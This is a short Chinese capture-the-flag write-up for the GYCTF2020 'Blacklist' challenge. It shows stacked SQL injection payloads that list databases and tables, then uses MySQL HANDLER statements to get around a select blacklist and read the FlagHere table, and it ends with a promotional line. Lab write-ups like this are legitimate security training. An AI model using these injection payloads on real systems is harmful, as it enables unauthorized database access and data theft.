依据实例理解
[GYCTF2020]Blacklist
打开环境后是这样
提交1出现数据
输入2/1判断注入类型
回显为2,可以判断为字符型注入
输入select,查看是否存在回显:
爆出黑名单
没有show可以尝试堆叠注入
输入1';show databases;#
1';show tables;查看表名
关键
查询flag表结构1';desc FlagHere;
HANDLER table_name OPEN [ [AS] a]
HANDLER table_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER table_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER table_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
通过HANDLER table_name OPEN打开一张表,无返回结果,
通过HANDLER table_name READ FIRST获取数据表第一行,通过将 READ FIRST改成READ NEXT依次获取其它行。有点类似于指针。
通过HANDLER table_name CLOSE来关闭打开的表。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER table_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER table_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。
使用handler查询
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
找到flag说明handler可用 但是仍需要注意此命令只能用于mysql数据库
如果有对信息安全感兴趣的可以私聊我领取学习资料